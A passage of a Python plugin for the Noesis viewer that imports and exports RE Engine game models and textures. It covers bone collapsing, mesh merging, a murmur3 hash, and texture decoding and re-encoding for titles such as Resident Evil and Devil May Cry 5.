\"{:03d}\".format(boneMapCount) + \":\" + bone.name\n\t\t\tboneMapCount += 1\n\tfor bone in mdl.bones:\n\t\tif bone.parentIndex != -1:\n\t\t\tbone.parentName = mdl.bones[bone.parentIndex].name\n\ndef collapseBones(mdl, threshold=0.01):\n\tprint(\"Collapsing skeleton\")\n\tnewBones = []\n\tnewBoneMap = []\n\tnewBoneMapNames = []\n\tallBoneNames = [cleanBoneName(bone.name).lower() for bone in mdl.bones]\n\tfor i, bone in enumerate(mdl.bones):\n\t\tboneMapId = i\n\t\tname = allBoneNames[i].split(\".\", 1)[0]\n\t\tsameBoneIdx = allBoneNames.index(name)\n\t\t#if sameBoneIdx != i and (getGlobalMatrix(mdl.bones[sameBoneIdx], mdl.bones)[3] - getGlobalMatrix(bone, mdl.bones)[3]).length() < threshold * fDefaultMeshScale:\n\t\tif sameBoneIdx != i: # and (mdl.bones[sameBoneIdx].getMatrix()[3] - bone.getMatrix()[3]).length() < threshold * fDefaultMeshScale:\n\t\t\tboneMapId = sameBoneIdx\n\t\telif bone.parentIndex != bone.index:\n\t\t\tnewBones.append(bone)\n\t\tnewBoneMapNames.append(mdl.bones[boneMapId].name.lower())\n\tfor i, bone in enumerate(newBones):\n\t\tbone.index = i\n\t\tif bone.parentIndex != -1:\n\t\t\tmat = bone.getMatrix() * mdl.bones[bone.parentIndex].getMatrix().inverse()\n\t\t\tbone.parentName = newBoneMapNames[bone.parentIndex]\n\t\t\tbone.setMatrix(mat * mdl.bones[allBoneNames.index(bone.parentName)].getMatrix()) #relocate bone\n\t\telif i > 0:\n\t\t\tbone.parentName = newBones[0].name\n\tnewBoneNames = [bone.name.lower() for bone in newBones]\n\tfor i, boneName in enumerate(newBoneMapNames):\n\t\tnewBoneMap.append(newBoneNames.index(boneName))\n\tfor mesh in mdl.meshes:\n\t\tfor weightList in mesh.weights:\n\t\t\tweightList.indices = list(weightList.indices)\n\t\t\tfor i, idx in enumerate(weightList.indices):\n\t\t\t\tweightList.indices[i] = newBoneMap[idx]\n\t'''for anim in mdl.anims:\n\t\tanim.bones = newBones\n\t\tfor kfBone in anim.kfBones:\n\t\t\tkfBone.boneIndex = newBoneMap[kfBone.boneIndex]'''\n\t\t\t\n\tmdl.setBones(newBones)\n\t\ndef recombineNoesisMeshes(mdl):\n\t\n\tmeshesBySourceName = {}\n\tfor mesh in mdl.meshes:\n\t\tmeshesBySourceName[mesh.sourceName] = meshesBySourceName.get(mesh.sourceName) or []\n\t\tmeshesBySourceName[mesh.sourceName].append(mesh)\n\t\t\n\tcombinedMeshes = []\n\tfor sourceName, meshList in meshesBySourceName.items():\n\t\tnewPositions = []\n\t\tnewUV1 = []\n\t\tnewUV2 = []\n\t\tnewUV3 = []\n\t\tnewTangents = []\n\t\tnewWeights = []\n\t\tnewIndices = []\n\t\tnewColors = []\n\t\tfor mesh in meshList:\n\t\t\ttempIndices = []\n\t\t\tfor index in mesh.indices:\n\t\t\t\ttempIndices.append(index + len(newPositions))\n\t\t\tnewPositions.extend(mesh.positions)\n\t\t\tnewUV1.extend(mesh.uvs)\n\t\t\tnewUV2.extend(mesh.lmUVs)\n\t\t\tnewUV3.extend(mesh.uvxList[0] if len(mesh.uvxList) > 0 else [])\n\t\t\tnewColors.extend(mesh.colors)\n\t\t\tnewTangents.extend(mesh.tangents)\n\t\t\tnewWeights.extend(mesh.weights)\n\t\t\tnewIndices.extend(tempIndices)\n\t\t\t\n\t\tcombinedMesh = NoeMesh(newIndices, newPositions, meshList[0].sourceName, meshList[0].sourceName, mdl.globalVtx, mdl.globalIdx)\n\t\tcombinedMesh.setTangents(newTangents)\n\t\tcombinedMesh.setWeights(newWeights)\n\t\tcombinedMesh.setUVs(newUV1)\n\t\tcombinedMesh.setUVs(newUV2, 1)\n\t\tcombinedMesh.setUVs(newUV3, 2)\n\t\tcombinedMesh.setColors(newColors)\n\t\tif len(combinedMesh.positions) > 65535:\n\t\t\tprint(\"Warning: Mesh exceeds the maximum of 65535 vertices (has\", str(len(combinedMesh.positions)) + \"):\\n\t\", combinedMesh.name)\n\t\telse:\n\t\t\tcombinedMeshes.append(combinedMesh)\n\t\t\n\treturn combinedMeshes\n\n#murmur3 hash algorithm, credit to Darkness for adapting this:\ndef hash(key, getUnsigned=False):\n\t\n\tseed = 0xffffffff\n\tkey = bytearray(key, 'utf8')\n\n\tdef fmix(h):\n\t\th ^= h >> 16\n\t\th = (h * 0x85ebca6b) & 0xFFFFFFFF\n\t\th ^= h >> 13\n\t\th = (h * 0xc2b2ae35) & 0xFFFFFFFF\n\t\th ^= h >> 16\n\t\treturn h\n\n\tlength = len(key)\n\tnblocks = int(length / 4)\n\n\th1 = seed\n\n\tc1 = 0xcc9e2d51\n\tc2 = 0x1b873593\n\n\tfor block_start in range(0, nblocks * 4, 4):\n\t\tk1 = key[block_start + 3] << 24 | \\\n\t\t\t key[block_start + 2] << 16 | \\\n\t\t\t key[block_start + 1] << 8 | \\\n\t\t\t key[block_start + 0]\n\n\t\tk1 = (c1 * k1) & 0xFFFFFFFF\n\t\tk1 = (k1 << 15 | k1 >> 17) & 0xFFFFFFFF\n\t\tk1 = (c2 * k1) & 0xFFFFFFFF\n\n\t\th1 ^= k1\n\t\th1 = (h1 << 13 | h1 >> 19) & 0xFFFFFFFF\n\t\th1 = (h1 * 5 + 0xe6546b64) & 0xFFFFFFFF\n\n\ttail_index = nblocks * 4\n\tk1 = 0\n\ttail_size = length & 3\n\n\tif tail_size >= 3:\n\t\tk1 ^= key[tail_index + 2] << 16\n\tif tail_size >= 2:\n\t\tk1 ^= key[tail_index + 1] << 8\n\tif tail_size >= 1:\n\t\tk1 ^= key[tail_index + 0]\n\n\tif tail_size > 0:\n\t\tk1 = (k1 * c1) & 0xFFFFFFFF\n\t\tk1 = (k1 << 15 | k1 >> 17) & 0xFFFFFFFF\n\t\tk1 = (k1 * c2) & 0xFFFFFFFF\n\t\th1 ^= k1\n\n\tunsigned_val = fmix(h1 ^ length)\n\tif getUnsigned or unsigned_val & 0x80000000 == 0:\n\t\treturn unsigned_val\n\telse:\n\t\treturn -((unsigned_val ^ 0xFFFFFFFF) + 1)\n\ndef hash_wide(key, getUnsigned=False):\n key_temp = ''\n for char in key:\n key_temp += char + '\\x00'\n return hash(key_temp, getUnsigned)\n\t\ndef forceFindTexture(FileName, startExtension=\"\"):\n\tglobal sGameName\n\tfor i in range(8):\n\t\tif i == 0:\n\t\t\tif startExtension != \"\":\n\t\t\t\text = startExtension\n\t\t\telse:\n\t\t\t\tsGameName = \"RE2\"\n\t\t\t\text = \".10\"\n\t\telif i == 1:\n\t\t\tsGameName == \"RERT\"\n\t\t\text = \".34\"\n\t\telif i == 2:\n\t\t\tsGameName == \"RERT\"\n\t\t\text = \".35\"\n\t\telif i == 3:\n\t\t\tsGameName = \"RE3\"\n\t\t\text = \".190820018\"\n\t\telif i == 4:\n\t\t\tsGameName = \"RE7\"\n\t\t\text = \".8\"\n\t\telif i == 5:\n\t\t\tsGameName = \"RE8\"\n\t\t\text = \".30\"\n\t\telif i == 6:\n\t\t\tsGameName = \"DMC5\"\n\t\t\text = \".11\"\n\t\telif i == 7:\n\t\t\tsGameName = \"MHRise\"\n\t\t\text = \".28\"\n\t\telif i == 8:\n\t\t\tsGameName = \"ReVerse\"\n\t\t\text = \".30\"\n\n\t\ttexFile = LoadExtractedDir() + FileName + ext\n\t\t#print (\"texFile:\", texFile)\n\t\tif rapi.checkFileExists(texFile):\n\t\t\treturn texFile, ext\n\t\t\t\n\treturn 0, 0\n\ndef readTextureData(texData, mipWidth, mipHeight, format):\n\t\n\tfmtName = tex_format_list[format] if format in tex_format_list else \"\"\n\t\n\tif format == 71 or format == 72: #ATOS\n\t\ttexData = rapi.imageDecodeDXT(texData, mipWidth, mipHeight, noesis.FOURCC_DXT1)\n\telif format == 77 or format == 78 or fmtName.find(\"BC3\") != -1: #BC3\n\t\ttexData = rapi.imageDecodeDXT(texData, mipWidth, mipHeight, noesis.FOURCC_BC3)\n\telif format == 80 or fmtName.find(\"BC4\") != -1: #BC4 wetmasks\n\t\ttexData = rapi.imageDecodeDXT(texData, mipWidth, mipHeight, noesis.FOURCC_BC4)\n\telif format == 83 or fmtName.find(\"BC5\") != -1: #BC5\n\t\ttexData = rapi.imageDecodeDXT(texData, mipWidth, mipHeight, noesis.FOURCC_BC5)\n\t\ttexData = rapi.imageEncodeRaw(texData, mipWidth, mipHeight, \"r16g16\")\n\t\ttexData = rapi.imageDecodeRaw(texData, mipWidth, mipHeight, \"r16g16\")\n\telif format == 95 or format == 96 or fmtName.find(\"BC6\") != -1:\n\t\ttexData = rapi.imageDecodeDXT(texData, mipWidth, mipHeight, noesis.FOURCC_BC6H)\n\telif format == 98 or format == 99 or fmtName.find(\"BC7\") != -1:\n\t\ttexData = rapi.imageDecodeDXT(texData, mipWidth, mipHeight, noesis.FOURCC_BC7)\n\telif re.search(\"[RB]\\d\\d?\", fmtName):\n\t\tfmtName = fmtName.split(\"_\")[0].lower()\n\t\ttexData = rapi.imageDecodeRaw(texData, mipWidth, mipHeight, fmtName)\n\telse:\n\t\tprint(\"Fatal Error: Unsupported texture type: \" + str(format))\n\t\treturn 0\n\t#print(\"Detected texture format:\", fmtName)\n\treturn texData, fmtName\n\n\ndef isImageBlank(imgData, width=None, height=None, threshold=1):\n\tfirst = imgData[0]\n\tif width and height and width * height > 4096:\n\t\timgData = rapi.imageResample(imgData, width, height, 64, 64)\n\tfor i, b in enumerate(imgData):\n\t\tif (i+1) % 4 != 0 and abs(b - first) > threshold: #skip alpha\n\t\t\treturn False\n\treturn True\n\t\ndef invertRawRGBAChannel(imgData, channelID, bpp=4):\n\tfor i in range(int(len(imgData)/4)):\n\t\timgData[i*4+channelID] = 255 - imgData[i*4+channelID]\n\treturn imgData\n\ndef moveChannelsRGBA(sourceBytes, sourceChannel, sourceWidth, sourceHeight, targetBytes, targetChannels, targetWidth, targetHeight):\n\toutputTargetBytes = copy.copy(targetBytes)\n\tif sourceBytes == targetBytes and sourceChannel >= 0:\n\t\tfor ch in targetChannels:\n\t\t\toutputTargetBytes = rapi.imageCopyChannelRGBA32(outputTargetBytes, sourceChannel, ch)\n\telse:\n\t\tresizedSourceBytes = rapi.imageResample(sourceBytes, sourceWidth, sourceHeight, targetWidth, targetHeight)\n\t\tnullValue = 1 if sourceChannel == -1 else 255 if sourceChannel == -2 else None\n\t\tfor i in range(int(len(resizedSourceBytes)/16)):\n\t\t\tfor b in range(4):\n\t\t\t\tfor ch in targetChannels:\n\t\t\t\t\toutputTargetBytes[i*16 + b*4 + ch] = nullValue or resizedSourceBytes[i*16 + b*4 + sourceChannel]\n\treturn outputTargetBytes\n\ndef generateDummyTexture4px(rgbaColor, name=\"Dummy\"):\n\timageByteList = []\n\tfor i in range(16):\n\t\timageByteList.extend(rgbaColor)\n\timageData = struct.pack(\"<\" + 'B'*len(imageByteList), *imageByteList)\n\timageData = rapi.imageDecodeRaw(imageData, 4, 4, \"r8g8b8a8\")\n\treturn NoeTexture(name, 4, 4, imageData, noesis.NOESISTEX_RGBA32)\t\n\ndef texLoadDDS(data, texList, texName=\"\"):\n\ttexName = texName or rapi.getInputName()\n\tbs = NoeBitStream(data)\n\tmagic = bs.readUInt()\n\tversion = bs.readUInt()\n\twidth = bs.readUShort()\n\theight = bs.readUShort()\n\tunk00 = bs.readUShort()\n\tif version == 190820018:\n\t\tversion = 10\n\tif version == 143221013:\n\t\tversion = 36\n\t\n\tif version > 27:\n\t\tnumImages = bs.readUByte()\n\t\toneImgMipHdrSize = bs.readUByte()\n\t\tmipCount = int(oneImgMipHdrSize / 16)\n\telse:\n\t\tmipCount = bs.readUByte()\n\t\tnumImages = bs.readUByte()\n\t\n\tformat = bs.readUInt()\n\tunk02 = bs.readUInt()\n\tunk03 = bs.readUInt()\n\tunk04 = bs.readUInt()\n\t\n\tif version > 27:\n\t\tbs.seek(8,1)\n\t\n\tmipData = []\n\tfor i in range(numImages):\n\t\tmipDataImg = []\n\t\tfor j in range(mipCount):\n\t\t\tmipDataImg.append([bs.readUInt64(), bs.readUInt(), bs.readUInt()]) #[0]offset, [1]pitch, [2]size\n\t\tmipData.append(mipDataImg)\n\t\t#bs.seek((mipCount-1)*16, 1) #skip small mipmaps\n\t\t\n\ttexFormat = noesis.NOESISTEX_RGBA32\n\t\n\ttex = False\n\tfor i in range(numImages):\n\t\tmipWidth = width\n\t\tmipHeight = height\n\t\tfor j in range(mipCount):\n\t\t\ttry:\n\t\t\t\tbs.seek(mipData[i][j][0])\n\t\t\t\ttexData = bs.readBytes(mipData[i][j][2])\n\t\t\texcept:\n\t\t\t\tif i > 0:\n\t\t\t\t\tnumImages = i - 1\n\t\t\t\t\tprint (\"Multi-image load stopped early\")\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\treturn 0\n\t\t\ttry:\n\t\t\t\ttexData, fmtName = readTextureData(texData, mipWidth, mipHeight, format)\n\t\t\texcept:\n\t\t\t\tprint(\"Failed\", mipWidth, mipHeight, format, texData)\n\t\t\t\ttexData, fmtName = readTextureData(texData, mipWidth, mipHeight, format)\n\t\t\tif texData == 0:\n\t\t\t\treturn 0\n\t\t\t\n\t\t\ttex = NoeTexture(texName, int(mipWidth), int(mipHeight), texData, texFormat)\n\t\t\ttexList.append(tex)\n\t\t\t\n\t\t\tif not bImportMips:\n\t\t\t\tbreak\n\t\t\tif mipWidth > 4: \n\t\t\t\tmipWidth = int(mipWidth / 2)\n\t\t\tif mipHeight > 4: \n\t\t\t\tmipHeight = int(mipHeight / 2)\n\t\t\t\t\n\treturn tex\n\t\ndef getNoesisDDSType(imgType):\n\tddsFmt = noesis.NOE_ENCODEDXT_BC7\n\tif imgType == 71 or imgType == 72: ddsFmt = noesis.NOE_ENCODEDXT_BC1\n\telif imgType == 80: ddsFmt = noesis.NOE_ENCODEDXT_BC4\n\telif imgType == 83: ddsFmt = noesis.NOE_ENCODEDXT_BC5\n\telif imgType == 95: ddsFmt = noesis.NOE_ENCODEDXT_BC6H\n\telif imgType == 98 or imgType == 99: ddsFmt = noesis.NOE_ENCODEDXT_BC7\n\telif imgType == 28 or imgType == 29: ddsFmt = \"r8g8b8a8\"\n\telif imgType == 77: ddsFmt = noesis.NOE_ENCODEDXT_BC3;\n\telif imgType == 10 or imgType == 95: ddsFmt = \"r16g16b16a16\"\n\telif imgType == 61: ddsFmt = \"r8\"\n\treturn ddsFmt\n\ndef findSourceTexFile(version_no, outputName=None):\n\tnewTexName = outputName or rapi.getOutputName().lower()\n\twhile newTexName.find(\"out.\") != -1: \n\t\tnewTexName = newTexName.replace(\"out.\",\".\")\n\tnewTexName = newTexName.replace(\".dds\",\"\").replace(\".tex\",\"\").replace(\".10\",\"\").replace(\".190820018\",\"\").replace(\".143221013\",\"\").replace(\".11\",\"\").replace(\".8\",\"\").replace(\".28\",\"\").replace(\".34\",\"\").replace(\".35\",\"\").replace(\".30\",\"\").replace(\".jpg\",\"\").replace(\".png\",\"\").replace(\".tga\",\"\").replace(\".gif\",\"\")\n\text = \".tex.\" + str(version_no)\n\tif not rapi.checkFileExists(newTexName + ext):\n\t\tfor other_ext, subDict in extToFormat.items():\n\t\t\tif rapi.checkFileExists(newTexName + \".tex.\" + other_ext):\n\t\t\t\text = \".tex.\" + other_ext\n\treturn newTexName + ext, ext\n\t\ndef convertTexVersion(version_no): #because RE3R and RE4R randomly decide to use timestamps for version numbers, which doesnt work well with using the others as versions\n\tif version_no == 143221013:\n\t\treturn 36\n\tif version_no == 190820018:\n\t\treturn 10\n\treturn version_no\n\ndef texWriteRGBA2(data, width, height, bs, version_no):\n\tsourceFile = findSourceTexFile(10)\n\t#print(str(sourceFile))\n\ttex = texFile(data, width, height, sourceFile[0], rapi.getOutputName())\n\tif not hasattr(tex, \"error\"):\n\t\tbs = tex.writeTexHeader(bs)\n\t\ttex.writeTexImageData(bs, 1)\n\t\treturn 1\n\telse:\n\t\tsourceFile = (sourceFile and sourceFile[0]) or rapi.getOutputName()\n\t\tprint(\"No format detected for \" + sourceFile)\n\treturn 0\n\ndef texWriteRGBA(data, width, height, bs):\n\t\n\tprint (\"\\n\t\t\t----RE Engine TEX Export----\\n\")\n\t\n\tversion_no = int(os.path.splitext(rapi.getOutputName())[1][1:])\n\t#if noesis.optWasInvoked(\"-b\"): # and version_no >= 28 and version_no < 1000: #batch / no-prompt\n\t#\treturn texWriteRGBA2(data, width, height, bs, version_no)\n\t\t\n\tdef getExportName(fileName):\t\t\n\t\tif fileName == None:\n\t\t\tnewTexName = rapi.getOutputName().lower()\n\t\telse: \n\t\t\tnewTexName = fileName\n\t\tnonlocal version_no\n\t\tguessedName, ext = findSourceTexFile(version_no)\n\t\t\n\t\tnewTexName = noesis.userPrompt(noesis.NOEUSERVAL_FILEPATH, \"Export over tex\", \"Choose a tex file to export over\", guessedName, None)\n\t\t\n\t\tif newTexName == None:\n\t\t\tprint(\"Aborting...!\")\n\t\t\treturn\n\t\treturn newTexName\n\t\t\n\tfileName = None\n\tif noesis.optWasInvoked(\"-b\"):\n\t\tnewTexName, ext = findSourceTexFile(version_no)\n\telse:\n\t\tnewTexName = getExportName(fileName)\n\t\tif newTexName == None:\n\t\t\treturn 0\n\t\twhile not (rapi.checkFileExists(newTexName)):\n\t\t\tprint (\"File not found\")\n\t\t\tnewTexName = getExportName(fileName)\t\n\t\t\tfileName = newTexName\n\t\t\tif newTexName == None:\n\t\t\t\treturn 0\n\t\t\n\tbTexAsSource = False\t\t\n\tprint(newTexName)\n\tnewTEX = rapi.loadIntoByteArray(newTexName)\n\toldDDS = rapi.loadIntoByteArray(rapi.getInputName())\n\t\n\tprint(newTexName.lower())\n\tprint(rapi.getInputName().lower())\n\t\n\tf = NoeBitStream(newTEX)\n\tog = NoeBitStream(oldDDS)\n\t\n\tmagic = f.readUInt()\n\tversion = f.readUInt()\n\tfWidth = f.readUShort()\n\tfHeight = f.readUShort()\n\treVerseSize = 0\n\t\n\tversion = convertTexVersion(version)\n\t\n\tf.seek(14)\n\tif version > 27:\n\t\treVerseSize = 8\n\t\tnumImages = f.readUByte()\n\t\toneImgMipHdrSize = f.readUByte()\n\t\tmaxMips = int(oneImgMipHdrSize / 16)\n\telse:\n\t\tmaxMips = f.readUByte()\n\t\tnumImages = f.readUByte()\n\t\n\tddsMagic = og.readUInt()\n\tbDoEncode = False\n\tif magic != 5784916:\n\t\tprint (\"Selected file is not a TEX file!\\nAborting...\")\n\t\treturn 0\n\t\n\tf.seek(16)\n\timgType = f.readUInt()\n\tprint (\"TEX type:\", imgType)\n\t\n\tddsFmt = 0\n\tbQuitIfEncode = False\n\ttry:\n\t\tif imgType == 71 or imgType == 72: ddsFmt = noesis.NOE_ENCODEDXT_BC1\n\t\telif imgType == 80: ddsFmt = noesis.NOE_ENCODEDXT_BC4\n\t\telif imgType == 83: ddsFmt = noesis.NOE_ENCODEDXT_BC5\n\t\telif imgType == 95: ddsFmt = noesis.NOE_ENCODEDXT_BC6H\n\t\telif imgType == 98 or imgType == 99: ddsFmt = noesis.NOE_ENCODEDXT_BC7\n\t\telif imgType == 28 or imgType == 29: ddsFmt = \"r8g8b8a8\"\n\t\telif imgType == 77: ddsFmt = noesis.NOE_ENCODEDXT_BC3;\n\t\telif imgType == 10 or imgType == 95: ddsFmt = \"r16g16b16a16\"\n\t\telif imgType == 61: ddsFmt = \"r8\"\n\t\telse: \n\t\t\tprint (\"Unknown TEX type:\", imgType)\n\t\t\tif imgType != 10:\n\t\t\t\treturn 0\n\texcept: \n\t\tbQuitIfEncode = True\n\n\tprint (\"Exporting over \\\"\" + rapi.getLocalFileName(newTexName)+ \"\\\"\")\n\t\n\ttexFmt = ddsFmt\n\t#ogHeaderSize = 0\n\tif og and ddsMagic == 542327876: #DDS\n\t\togHeaderSize = og.readUInt() + 4\n\t\tog.seek(84)\n\t\tif og.readUInt() == 808540228: #DX10\n\t\t\togHeaderSize += 20\n\t\t\tif ddsFmt == noesis.NOE_ENCODEDXT_BC1:\n\t\t\t\tprint (\"Source DDS encoding (BC7) does not match TEX file (BC1).\\nEncoding image...\")\n\t\t\t\tbDoEncode = True\n\t\telif ddsFmt == noesis.NOE_ENCODEDXT_BC7:\n\t\t\tprint (\"Source DDS encoding (BC1) does not match TEX file (BC7).\\nEncoding image...\")\n\t\t\tbDoEncode = True\n\telif og and ddsMagic == 5784916: #TEX\n\t\tbTexAsSource = True\n\t\tog.seek(4)\n\t\togVersion = convertTexVersion(og.readUInt())\n\t\t\n\t\tif ((ogVersion > 27) and int(os.path.splitext(rapi.getOutputName())[1][1:]) < 27) or ((ogVersion < 27 and int(os.path.splitext(rapi.getOutputName())[1][1:]) > 27)):\n\t\t\tprint(\"\\nWARNING: Source tex version does not match your output tex version\\n\tSelected Output: tex\" + str(os.path.splitext(rapi.getOutputName())[1]), \"\\n\tSource Tex version: tex.\" + str(ogVersion) + \"\\n\")\n\t\tog.seek(8)\n\t\togWidth = og.readUShort()\n\t\togHeight = og.readUShort()\n\t\tif ogWidth != width or ogHeight != height: \n\t\t\tprint (\"Input TEX file uses a different resolution from Source TEX file.\\nEncoding image...\")\n\t\t\tbDoEncode = True\n\t\tog.seek(14)\n\t\t\n\t\togHeaderSize = og.readUByte() * 16 + 32\n\t\tif ogVersion > 27: \n\t\t\togHeaderSize = 40 + og.readUByte()\n\t\tog.seek(16)\n\t\tsrcType = og.readUInt() \n\t\tif srcType == 71 or srcType == 72: texFmt = noesis.NOE_ENCODEDXT_BC1\n\t\telif srcType == 80: texFmt = noesis.NOE_ENCODEDXT_BC4\n\t\telif srcType == 83: texFmt = noesis.NOE_ENCODEDXT_BC5\n\t\telif srcType == 95: texFmt = noesis.NOE_ENCODEDXT_BC6H\n\t\telif srcType == 98 or srcType == 99: texFmt = noesis.NOE_ENCODEDXT_BC7\n\t\telif srcType == 28 or srcType == 29: texFmt = \"r8g8b8a8\"\n\t\telif srcType == 77: texFmt = noesis.NOE_ENCODEDXT_BC3;\n\t\telif srcType == 10 or srcType == 95: texFmt = \"r16g16b16a16\"\n\t\telif srcType == 61: texFmt = \"r8\"\n\t\telse: \n\t\t\tprint (\"Unknown TEX type:\", srcType)\n\t\t\treturn 0\n\t\tif texFmt != ddsFmt or (os.path.splitext(newTexName)[1] == \".30\" and os.path.splitext(rapi.getInputName())[1] != \".30\"): \n\t\t\tprint (\"Input TEX file uses a different compression or format from Source TEX file.\\nEncoding image...\")\n\t\t\tbDoEncode = True\n\telse: \n\t\tprint (\"Input file is not a DDS or TEX file\\nEncoding image...\")\n\t\tbDoEncode = True\n\t\n\tmipSize = width * height\n\tif texFmt == noesis.NOE_ENCODEDXT_BC1: mipSize = int(mipSize / 2)\n\tif not bDoEncode and mipSize < int((os.path.getsize(rapi.getInputName())) / 4):\n\t\tprint (\"Unexpected source image size\\nEncoding image...\")\n\t\tbDoEncode = True\n\t\t\n\tif not bDoEncode: \n\t\tprint (\"Copying image data from \\\"\" + rapi.getLocalFileName(rapi.getInputName()) + \"\\\"\")\n\t\t\n\telif bQuitIfEncode:\n\t\tprint (\"Fatal Error: BC7 Encoding not supported!\\nUpdate to Noesis v4434 (Oct 14, 2020) or later to encode BC7 images\\nAborting...\\n\")\n\t\treturn 0\n\t\t\n\t#copy header\n\tf.seek(0)\n\tbs.writeBytes(f.readBytes(32 + reVerseSize))\n\t\n\tnumMips = 0\n\toutput_mips = 0\n\tdataSize = 0\n\ttotalData = 0\n\tsizeArray = []\n\tfileData = []\n\tmipWidth = width\n\tmipHeight = height\n\t\n\texportCycles = 1\n\tif numImages > 1:\n\t\timgToReplace = 0\n\t\timgToReplace = noesis.userPrompt(noesis.NOEUSERVAL_FILEPATH, \"Multi-image texture\", \"Which image do you want to replace? [0-\" + str(numImages-1) + \"]\", \"All\", None)\n\t\tif imgToReplace == None:\n\t\t\treturn 0\n\t\ttry:\n\t\t\tint(imgToReplace)\n\t\texcept:\n\t\t\texportCycles = numImages #if not a number, copy all images\n\t\tmipWidth = fWidth\n\t\tmipHeight = fHeight\n\t\tbs.writeBytes(f.readBytes(os.path.getsize(newTexName) - f.tell())) #copy whole file\n\t\n\tprint (\"Format:\", ddsFmt)\n\tfor img in range(exportCycles):\n\t\t\t\n\t\t#write mipmap headers & encode image\n\t\tif img == 0:\n\t\t\twhile mipWidth > 4 or mipHeight > 4:\n\t\t\t\tif ddsFmt == \"r8\" and numMips > 1:\n\t\t\t\t\tbreak\n\t\t\t\tnumMips += 1\n\t\t\t\toutput_mips += 1\n\t\t\t\tif bDoEncode:\n\t\t\t\t\tmipData = rapi.imageResample(data, width, height, mipWidth, mipHeight)\n\t\t\t\t\ttry:\n\t\t\t\t\t\tdxtData = rapi.imageEncodeDXT(mipData, 4, mipWidth, mipHeight, ddsFmt)\n\t\t\t\t\texcept:\n\t\t\t\t\t\tdxtData = rapi.imageEncodeRaw(mipData, mipWidth, mipHeight, ddsFmt)\n\t\t\t\t\tmipSize = len(dxtData)\n\t\t\t\t\tfileData.append(dxtData)\n\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tmipSize = mipWidth * mipHeight\n\t\t\t\t\tif texFmt == noesis.NOE_ENCODEDXT_BC1:\n\t\t\t\t\t\tmipSize = int(mipSize / 2)\n\t\t\t\t\t\n\t\t\t\tsizeArray.append(dataSize)\n\t\t\t\tdataSize += mipSize\n\t\t\t\t\n\t\t\t\tpitch = mipWidth\n\t\t\t\tif ddsFmt == noesis.NOE_ENCODEDXT_BC1:\n\t\t\t\t\tpitch *= 2\n\t\t\t\telif ddsFmt != \"r8\":\n\t\t\t\t\tpitch *= 4\n\t\t\t\t\t\n\t\t\t\tbs.writeUInt64(0)\n\t\t\t\tbs.writeUInt(pitch)\n\t\t\t\tbs.writeUInt(mipSize)\n\t\t\t\t\n \n\t\t\t\tprint (\"Mip\", numMips, \": \", mipWidth, \"x\", mipHeight, \"\\n \", pitch, \"\\n \", mipSize)\n\t\t\t\tif mipWidth > 4: mipWidth = int(mipWidth / 2)\n\t\t\t\tif mipHeight > 4: mipHeight = int(mipHeight / 2)\n\t\t\n\t\tif numImages > 1: #multi image images seek to their image data and encode at the same size \n\t\t\tif exportCycles > 1:\n\t\t\t\tmipOffset = readUIntAt(f, (32 + reVerseSize + 16 * (int(img) * maxMips)) ) #copy same image data over the other images\n\t\t\t\tprint (\"Img\", img+1, \"of\", exportCycles)\n\t\t\telse:\n\t\t\t\tmipOffset = readUIntAt(f, (32 + reVerseSize + 16 * (int(imgToReplace) * maxMips)) )\n\t\t\n\t\tif bDoEncode: \n\t\t\tif numImages > 1:\n\t\t\t\tbs.seek(mipOffset)\n\t\t\tfor d in range(len(fileData)): #write image data\n\t\t\t\tbs.writeBytes(fileData[d])\n\t\telif not numImages > 1:\n\t\t\tog.seek(ogHeaderSize) #copy image data\n\t\t\tbs.writeBytes(og.readBytes(os.path.getsize(rapi.getInputName()) - ogHeaderSize))\n\t\telse:\n\t\t\tog.seek(ogHeaderSize)\n\t\t\tbs.seek(mipOffset) #seek to image-to-replace\n\t\t\tbs.writeBytes(og.readBytes(os.path.getsize(rapi.getInputName()) - ogHeaderSize))\n\t\t\n\t\t#adjust header\n\t\tif numImages == 1:\n\t\t\tbs.seek(28)\n\t\t\tif readUByteAt(f, 28) > 127:\n\t\t\t\tbs.writeUByte(128) #ReVerse streaming\n\t\t\telse: \n\t\t\t\tbs.writeUByte(0) #streaming texture\n\t\t\t\t\n\t\t\tbs.seek(8)\n\t\t\tbs.writeUShort(width)\n\t\t\tbs.writeUShort(height)\n\t\t\tif version > 27:\n\t\t\t\tbs.seek(15)\n\t\t\t\tbs.writeUByte(numMips * 16)\n\t\t\telse:\n\t\t\t\tbs.seek(14)\n\t\t\t\tbs.writeUByte(numMips)\n\t\t\t\n\t\t\tbsHeaderSize = output_mips * 16 + 32 + reVerseSize\n\t\t\tbs.seek(32 + reVerseSize)\n\t\t\t\n\t\t\tfor mip in range(numMips):\n\t\t\t\tbs.writeUInt64(sizeArray[mip] + bsHeaderSize)\n\t\t\t\tbs.seek(8, 1)\t\n\t\telse:\n\t\t\tif numImages > 1:\n\t\t\t\tbs.seek(mipOffset)\n\t\t\tfor d in range(len(fileData)): #write image data\n\t\t\t\tbs.writeBytes(fileData[d])\n\n\treturn 1\n\nclass DialogOptions:\n\tdef __init__(self):\n\t\tself.doLoadTex = False\n\t\tself.doConvertTex = True\n\t\tself.doLODs = False\n\t\tself.loadAllTextures = False\n\t\tself.reparentHelpers = True\n\t\tself.doCreateBoneMap = True\n\t\tself.doForceCenter = False\n\t\tself.doSync = True\n\t\tself.doForceMergeAnims = False\n\t\tself.doConvertMatsForBlender = doConvertMatsForBlender\n\t\tself.width = 600\n\t\tself.height = 810 - (380 - iListboxSize)\n\t\tself.texDicts = None\n\t\tself.gameName = sGameName\n\t\tself.currentDir = \"\"\n\t\tself.motDialog = None\n\t\tself.dialog = None\n\ndialogOptions = DialogOptions()\n\nDoubleClickTimer = namedtuple(\"DoubleClickTimer\", \"name idx timer\")\n\ngamesList = [ \"RE7\", \"RE7RT\", \"RE2\", \"RERT\", \"RE3\", \"RE4\", \"RE8\", \"MHRSunbreak\", \"DMC5\", \"SF6\", \"ReVerse\", \"ExoPrimal\" ]\nfullGameNames = [\n\t\"Resident Evil 7\",\n\t\"Resident Evil 7 RT\",\n\t\"Resident Evil 2\",\n\t\"Resident Evil 2/3 RT\",\n\t\"Resident Evil 3\",\n\t\"Resident Evil 4\",\n\t\"Resident Evil 8\",\n\t\"MH Rise Sunbreak\",\n\t\"Devil May Cry 5\",\n\t\"Street Fighter 6\",\n\t\"Resident Evil ReVerse\",\n\t\"ExoPrimal\"\n]\n\t\t\nclass 